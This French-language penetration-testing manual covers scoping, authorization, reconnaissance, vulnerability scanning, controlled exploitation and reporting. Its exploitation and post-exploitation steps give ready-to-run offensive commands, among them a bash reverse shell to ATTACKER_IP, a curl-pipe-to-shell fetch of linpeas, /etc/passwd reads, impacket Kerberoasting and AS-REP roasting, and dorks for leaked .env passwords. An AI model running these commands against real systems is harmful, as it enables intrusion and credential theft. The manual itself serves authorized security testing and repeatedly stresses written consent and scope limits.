📖 Manuel
Pentest Assistant
Étape 0 — Cadrage obligatoire avant tout test
Avant d'écrire la première commande :
| Élément | Questions à trancher |
|---|---|
| Type de test | Blackbox / Greybox / Whitebox ? |
| Périmètre | Domaines, IPs, CIDR inclus et exclus (par écrit) |
| Actions interdites | DoS, dump de données prod, création de comptes, pivoting hors scope |
| Plages horaires | Heures autorisées pour les scans intrusifs |
| Contact urgence | Qui appeler si un système tombe ? |
| Autorisation écrite | Letter of Engagement / NDA signé — sine qua non légalement |
Sans document d'autorisation signé = arrêt immédiat. Le hacking sans consentement est un délit pénal dans toutes les juridictions.
Étape 1 — Reconnaissance passive (OSINT, zero interaction)
Objectif : cartographier la surface d'attaque sans toucher la cible.
# Sous-domaines via Certificate Transparency
curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq '.[].name_value' | sort -u
# ASN + blocs IP d'une organisation
amass intel -org "Example Corp" -asn 12345
# Emails + domaines avec theHarvester
theHarvester -d example.com -b google,bing,linkedin,shodan -f harvest_out
# Recherche Shodan (sans scan actif)
shodan search "org:\"Example Corp\" port:22,443,8080" --fields ip_str,port,data
Checklist OSINT :
- [ ] DNS passif (dnsdumpster, SecurityTrails, Passive DNS)
- [ ] Certificate Transparency (crt.sh, Censys)
- [ ] GitHub / GitLab public (dorks :
org:example filename:.env,password site:github.com example.com) - [ ] LinkedIn : stack technique, noms d'outils internes, noms d'employés
- [ ] Have I Been Pwned : credential leaks
- [ ] Wayback Machine : endpoints anciens, paramètres exposés
Étape 2 — Reconnaissance active (interaction directe)
# Scan complet — ports + services + scripts NSE + OS
nmap -sV -sC -O -T4 -p- 10.0.0.1 -oA nmap_full
# Découverte rapide des hôtes actifs sur un réseau
nmap -sn 10.0.0.0/24 -oG alive_hosts.txt
# Énumération web — répertoires et fichiers
feroxbuster -u https://example.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html,js,json -t 40
# Sous-domaines actifs (brute-force DNS)
ffuf -u https://FUZZ.example.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc 200,301,302
Fichiers sensibles à chercher systématiquement :
.git/config,.env,config.php.bak,backup.zip,api_keys.json/actuator/env,/api/swagger.json,/.well-known/security.txt- Panneau d'admin exposé :
/admin,/phpmyadmin,/wp-admin,/_admin
Étape 3 — Identification des vulnérabilités
Scan automatisé
# Nuclei — templates CVE + misconfigurations + exposures
nuclei -u https://example.com -t cves/ -t misconfigurations/ -t exposures/ -severity medium,high,critical -o nuclei_out.txt
# Nikto — scan web rapide
nikto -h https://example.com -output nikto_out.txt
# WPScan (si WordPress)
wpscan --url https://example.com --enumerate vp,vt,u --api-token $WPSCAN_TOKEN
Analyse manuelle prioritaire
Web Application (OWASP Top 10 2021) :
- A01 Broken Access Control → tester IDOR sur IDs, changement de rôle via JWT, accès direct à URL admin
- A02 Cryptographic Failures → HTTPS downgrade, cookies sans Secure/HttpOnly, secrets en clair dans JS
- A03 Injection → SQLi (manual + SQLMap), SSTI, LDAP injection, SSRF
- A07 Auth & Session → force brute, reset token prévisible, session non invalidée après logout
Infrastructure :
- Services avec credentials par défaut (Shodan Dork :
default password product:redis) - Ports d'admin exposés à internet (RDP 3389, Kibana 5601, Jupyter 8888)
- Certificats expirés ou self-signed sur production
Active Directory :
- Kerberoasting :
impacket-GetUserSPNs domain/user:pass@dc -request -outputfile spns.txt - ASREPRoasting :
impacket-GetNPUsers domain/ -usersfile users.txt -no-pass -format hashcat - BloodHound pour cartographier les chemins vers Domain Admin
Étape 4 — Exploitation contrôlée
Règle d'or : documenter AVANT, PENDANT et APRÈS chaque action.
# Exemple SQLi — extraction de version DB (preuve d'impact minimal)
sqlmap -u "https://example.com/search?q=test" --dbs --batch --level 2 --risk 1
# Reverse shell minimal pour démonstration (si scope autorisé)
# Sur attaquant : nc -lvnp 4444
# Payload bash : bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Vérifier les permissions Linux post-accès
id && whoami && sudo -l && cat /etc/passwd | grep -v nologin
# Enumération rapide post-accès Windows
whoami /priv && net localgroup administrators && systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
Template de documentation par finding :
Finding #N — [Titre court]
Date/heure : 2026-06-24 14:32 UTC
URL/IP ciblée : https://example.com/api/users/42
Payload / commande : GET /api/users/1 (IDOR : ID modifié de 42 → 1)
Réponse obtenue : 200 OK + données PII utilisateur ID 1
Preuve : screenshot_finding_N.png
Sévérité CVSS 3.1 : 8.1 (High) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Impact : accès à toutes les données utilisateurs sans autorisation
Étape 5 — Post-exploitation et évaluation d'impact
Ne jamais implémenter réellement la persistence — documenter uniquement la possibilité.
Évaluer :
- Pivoting possible vers d'autres segments réseau (routes, ARP cache,
/proc/net/fib_trie) - Données accessibles : PII, données financières, secrets d'API, dumps DB
- Impact RGPD / NIS2 : si données personnelles exfiltrables → obligation de notification sous 72h
- Scénario pire cas : que peut faire un attaquant réel avec cet accès ?
# LinPEAS — enumération privilege escalation Linux
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh 2>/dev/null | tee linpeas_out.txt
# WinPEAS — Windows
.\winPEAS.exe quiet | Out-File winpeas_out.txt
Étape 6 — Rapport de pentest
Structure minimale :
1. Executive Summary (1 page, non technique)
- Niveau de risque global : Critique / Élevé / Moyen / Faible
- Nb findings par sévérité
- Top 3 findings avec impact business en 1 phrase chacun
2. Findings (1 section par vulnérabilité)
- Titre + sévérité CVSS 3.1
- Description + preuve (screenshot/log)
- Impact démontré
- Remédiation concrète avec délai suggéré (Critique < 48h, Élevé < 2 semaines, ...)
3. Matrice de risque
4. Annexes : logs bruts, requêtes HTTP complètes, code PoC
Outils de reporting : Dradis, PlexTrac, ou template Markdown/Jinja exporté en PDF.
Garde-fous — Anti-patterns et pièges fréquents
| Piège | Conséquence | Bonne pratique |
|---|---|---|
| Scanner hors scope (IP voisine) | Délit pénal + rupture de contrat | Toujours valider le CIDR exact avant scan |
| Lancer un DoS "pour tester" | Indisponibilité prod, pénalités | Explicitement interdit sauf accord écrit spécifique |
| Implémenter la persistence sur prod | Incident de sécurité réel | Documenter la possibilité, ne pas exécuter |
| Oublier de nettoyer les artefacts | Web shell actif = incident ouvert | Checklist de nettoyage post-test obligatoire |
| Stocker les credentials trouvés en clair | Fuite potentielle | Vault chiffré (KeePass, Bitwarden) + destruction après rapport |
| Travailler sans VPN dédié | Attribution de l'IP personnelle | Toujours passer par un pivot/VPN propre au pentest |
| Rapport sans remédiation actionnable | Client ne sait pas quoi faire | Chaque finding = correctif concret + délai suggéré |
Référentiel et cadre légal (2026)
- Méthodologie : PTES (Penetration Testing Execution Standard), OWASP Testing Guide v4.2, NIST SP 800-115
- Classification : CVSS 3.1 pour la sévérité, OWASP Risk Rating pour l'impact business
- Légal FR/EU : art. 323-1 Code pénal (accès frauduleux), NIS2 (directive 2022/2555), RGPD art. 32-33
- Bug bounty : lire les règles HackerOne / Bugcrowd / Intigriti avant tout test ; safe harbor ≠ carte blanche
- Outils recommandés 2026 : Nuclei v3+, Caido (alternative Burp), Sliver C2 (red team), Semgrep (SAST), Prowler v4 (cloud)